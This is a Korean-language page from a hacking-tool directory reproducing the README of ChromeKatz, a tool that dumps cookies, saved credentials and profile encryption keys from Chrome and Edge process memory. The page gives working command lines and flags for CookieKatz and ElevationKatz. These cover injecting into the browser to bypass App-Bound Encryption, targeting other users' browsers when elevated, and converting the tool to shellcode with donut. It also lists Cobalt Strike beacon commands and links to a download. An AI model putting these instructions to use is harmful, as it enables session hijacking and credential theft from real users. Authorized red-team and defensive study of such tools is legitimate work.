Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ChromeKatz — Chrome/Edge 프로세스 메모리에서 쿠키와 자격 증명을 직접 덤프합니다 | Kitploit
도구/GitHubGitHub/meckazin/chromekatz
Memory ForensicsPassword AttacksData ExfiltrationDebuggersPost-ExploitationRed Teaming
GitHubmeckazin/chromekatz

ChromeKatz

Chrome/Edge 프로세스 메모리에서 쿠키와 자격 증명을 직접 덤프합니다

저장소 보기
1.5k1384개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ChromeKatz

ChromeKatz는 Chromium 기반 브라우저의 메모리에서 민감한 정보를 덤프하기 위한 솔루션입니다. 현재 ChromeKatz는 세 가지 프로젝트로 구성되어 있습니다:

  1. CookieKatz - 쿠키 덤퍼
  2. CredentialKatz - 더 이상 사용되지 않음... 당분간은
  3. ElevationKatz - 상승 서비스에서 복호화 키 획득

CookieKatz는 exe, Beacon Object File, 미니덤프 파서를 제공합니다. ElevationKatz도 실행 파일과 Beacon Object File을 제공합니다.

ElevationKatz는 이제 브라우저 메모리에서 쿠키 및 자격 증명 데이터베이스를 파싱하고 이를 복호화할 수 있습니다.

CookieKatz는 쿠키를 찾는 훨씬 더 강력한 방법을 사용하도록 완전히 개편되었습니다! 새로운 방법은 이전 브라우저 버전도 지원합니다. 이제 CookieKatz에 /inject 플래그가 새로 추가되어 관련 브라우저의 App-Bound Encryption을 우회할 수 있습니다!

커피가 필요해요, 제 고양이들도요!

ko-fi

CookieKatz - 메모리에서 직접 쿠키 덤프하기

CookieKatz는 운영자가 Chrome, Edge 또는 Msedgewebview2의 프로세스 메모리에서 직접 쿠키를 덤프할 수 있게 해주는 프로젝트입니다. Chromium 기반 브라우저는 시작 시 디스크의 쿠키 데이터베이스에서 모든 쿠키를 로드합니다.

이 방식의 장점은 다음과 같습니다*:

  1. Chrome의 Incogntio 및 Edge의 In-Private 프로세스에서 쿠키 덤프 지원
  2. 관리자 권한으로 실행 시 다른 사용자 브라우저의 쿠키에 접근 가능
  3. 웹뷰 프로세스에서 쿠키 덤프
  4. 디스크의 데이터베이스 파일을 건드릴 필요 없음
  5. 쿠키를 복호화하는 데 DPAPI 키가 필요 없음
  6. 미니덤프 파일에서 오프라인으로 쿠키 파싱

이러한 설명은 일부 브라우저/애플리케이션에서는 여전히 유효합니다. 최신 버전의 Chrome에서는 프로세스에 인젝션해야 합니다. ... 또는 ElevationKatz를 사용하세요.

32비트 브라우저 설치는 지원되지 않으며 32비트 빌드의 CookieKatz도 지원되지 않습니다.

현재 일반 쿠키만 덤프됩니다. Chromium은 Partitioned Cookies를 다른 위치에 저장하며 현재 덤프에 포함되지 않습니다.

이 솔루션은 세 가지 프로젝트로 구성됩니다: PE 실행 파일인 CookieKatz, Beacon Object File 버전인 CookieKatz-BOF, 그리고 미니덤프 파서인 CookieKatzMinidump입니다.

사용법

참고! PID를 사용하여 대상을 선택할 때는 /list 또는 cookie-katz-find 명령을 각각 사용하여 올바른 하위 프로세스를 선택하세요!

CookieKatz

root@kitploit:~
Examples:
.\CookieKatz.exe
    By default targets first available Chrome process
.\CookieKatz.exe /edge
    Targets first available Edge process
.\CookieKatz.exe /pid:<pid>
    Attempts to target given pid, expecting it to be Chrome
.\CookieKatz.exe /webview /pid:<pid>
    Targets the given msedgewebview2 process
.\CookieKatz.exe /list /webview
    Lists available webview processes
.\CookieKatz.exe /inject
    Targets the current process. Use this flag when your are injecting CookieKatz to Chrome process.

TIP! If you need to inject CookieKatz into the Chrome process, you can turn the exe into shellcode using donut:
    .\donut.exe -a 2 --input <Path_to_CookieKatz.exe> -z 4 -b 1 -p "/inject" -t

Flags:
    /edge       Target current user Edge process
    /webview    Target current user Msedgewebview2 process
    /pid        Attempt to dump given pid, for example, someone else's if running elevated
    /list       List targettable processes, use with /edge or /webview to target other browsers
    /inject     Indicate that the process will run in the target process
    /out        Write output to file, default location is "C:\Users\Public\Documents\cookies.log"
    /help       This what you just did! -h works as well

CookieKatz-BOF

root@kitploit:~
beacon> help cookie-katz
Dump cookies from Chrome or Edge
Use: cookie-katz [chrome|edge|webview] [pid]

beacon> help cookie-katz-find
Find processes for Cookie-Katz
Use: cookie-katz-find [chrome|edge|webview]

CookieKatzMinidump

root@kitploit:~
Usage:
    CookieKatzMinidump.exe <Path_to_minidump_file>

Example:
    .\CookieKatzMinidump.exe .\msedge.DMP

To target correct process for creating the minidump, you can use the following PowerShell command:
    Get-WmiObject Win32_Process | where {$_.CommandLine -match 'network.mojom.NetworkService'} | select -Property Name,ProcessId

ElevationKatz - 메모리에서 프로필 데이터베이스 키 덤프하기

ElevationKatz는 운영자가 브라우저 프로필 암호화 키를 메모리에서 덤프하여 사용자의 민감한 정보에 접근할 수 있게 해줍니다. 이 도구는 새 브라우저 프로세스를 일시 중단 상태로 시작하고 중단점을 설정한 다음, 브라우저 프로세스가 상승 서비스로부터 키를 수신하면 키를 덤프하는 방식으로 작동합니다.

이 방식의 장점은 다음과 같습니다:

  1. 관리자 권한 불필요
  2. 다른 프로세스에 인젝션할 필요 없음
  3. 디스크에 파일을 쓰지 않음
  4. 디스크의 프로필 데이터베이스를 건드릴 필요 없음

ElevationKatz는 새 브라우저 프로세스를 일시 중단 상태로 시작하고 디버거를 연결합니다. 그런 다음 브라우저 DLL을 스캔하여 브라우저가 os_crypt::DecryptAppBoundString 호출에서 복귀하는 명령어를 찾고 바로 그 다음에 중단점을 설정합니다. 중단점이 적중되면 도구는 메모리에서 암호화 키를 덤프합니다.

운영자가 선택할 수 있는 중단점 유형은 소프트웨어 및 하드웨어 중단점 두 가지입니다.

  • 소프트웨어 중단점은 메모리의 명령어를 패치하고 기존 명령어를 덮어쓰는 방식으로 작동합니다. 이는 분명히 WIN API WriteProcessMemory를 사용해야 한다는 단점이 있습니다.
  • 하드웨어 중단점은 실행 중인 스레드의 레지스터에 직접 설정됩니다. 이는 WriteProcessMemory 사용을 피하지만 OpenThread->SuspendThread->ResumeThread 패턴을 많이 사용해야 합니다.

또한 HW 중단점의 경우 지원되는 스레드 열거 방식은 NtGetNextThread와 CreateToolhelp32Snapshot 두 가지입니다. SW 중단점은 스레드 열거가 필요 없으므로 /tl32 플래그의 영향을 받지 않습니다.

새로운 config 매개변수를 사용하여 프로필 데이터베이스를 자동으로 복호화할 수 있습니다. 이 기능은 IHack4Falafel's 기술을 활용하여 브라우저 메모리에서 Cookie 및 Login Profile 데이터베이스를 파싱하므로 파일을 직접 건드릴 필요가 없습니다.

참고 SW 중단점을 제대로 정리하고 프로세스가 충돌하지 않도록 RIP를 되감는 방법을 알아내지 못해 덤프는 HW 중단점에서만 작동합니다.

ElevationKatz

root@kitploit:~
Examples:
.\ElevationKatz.exe /chrome
    Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
    Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /hw
    Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
    Will use Hardware breakpoints instead of the software ones
    Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /config:all\n");
    Starts a new chrome process using path: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe
    Will use Hardware breakpoints instead of the software ones
    Parses the cookie and credential database from the browser memory and dumps them
.\ElevationKatz.exe /edge /wait:1000
    Starts a new chrome process using path: C:\Program Files(x86)\Microsoft\Edge\Application\msedge.exe
    Waits for 1000 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /path:\"C:\Program Files\BraveSoftware\Brave - Browser\Application\brave.exe\" /module:chrome.dll
    Targets the Brave browser
    
Flags:
    /chrome                Target Chrome process.
    /edge                  Target Edge process.
    /hw                    Use Hardware breakpoints instead of SW ones.
    /tl32                  Use CreateToolhelp32Snapshot to enumerate process threads when using with /HW flag
    /wait:<milliseconds>   Maximum time to for the debugging. Use 0 for INFINITE. Defaults to 500ms.
    /path:<path_to_exe>    Provide path to the process executable
    /module:<some.dll>     Provide alternative module to target
    /config:<option>       Automatically locate and dump contents of profile databases. Options. Cookies|Creds|All
    /help                  This what you just did! -h works as well

ElevationKatz-BOF

root@kitploit:~
beacon> help elevation-katz
Dump elevation service encryption key

Use: elevation-katz [chrome|edge] [useHW] [useTL32] [wait:<ms>] [terminate] [executable:<path>] [module:<path>]

CredentialKatz - 메모리에서 자격 증명 관리자 내용 덤프하기

더 이상 사용되지 않음

저는 CredentialKatz가 원래 악용했던 버그에 대해 Chromium 프로젝트에 보고서를 제출했고, 그들은 이를 "Won't fix"로 분류하며 자격 증명이 메모리에 남아 있어도 상관하지 않는다고 말했습니다.

그런데 도구가 공개된 후 그들은 제가 제안한 바로 그 방식으로 버그를 수정해버렸습니다 :3 https://issues.chromium.org/issues/352085708

빌드 및 설치

사전 컴파일된 바이너리 사용

ChromeKatz BOF의 최신 릴리스 빌드를 여기에서 다운로드하세요. zip 파일에는 컴파일된 BOF와 이를 실행하기 위한 CNA 스크립트가 포함되어 있습니다.

직접 빌드

Visual Studio에서 Release 또는 Debug 구성과 x64 플랫폼으로 두 프로젝트를 모두 빌드할 수 있습니다.

BOF 버전은 Cobalt Strike의 Visual Studio 템플릿 bof-vs로 개발되었습니다. 즉, *-BOF의 Debug 구성은 COFF 파일 대신 exe를 생성합니다. Visual Studio 템플릿 사용에 대한 자세한 내용은 여기에서 확인할 수 있습니다.

x64 Native Tools Command Prompt for VS 2022에서 nmake로 직접 BOF를 컴파일할 수 있습니다:

root@kitploit:~
nmake all

크레딧

  • Henkru - BOF 버전 충돌을 수정하고 CNA 스크립트를 작성해줌
  • IHack4Falafel - 브라우저 메모리에서 프로필 DB를 파싱하는 멋진 트릭
  • B3arr0 - BOF 버전을 테스트하고 버그를 해결하는 데 도움을 줌
  • TheWover - 훌륭한 PEB 정의를 제공해줌!
  • 0vercl0k - 미니덤프 파싱의 핵심 라이브러리인 udmp-parser를 제작해줌
도구 다운로드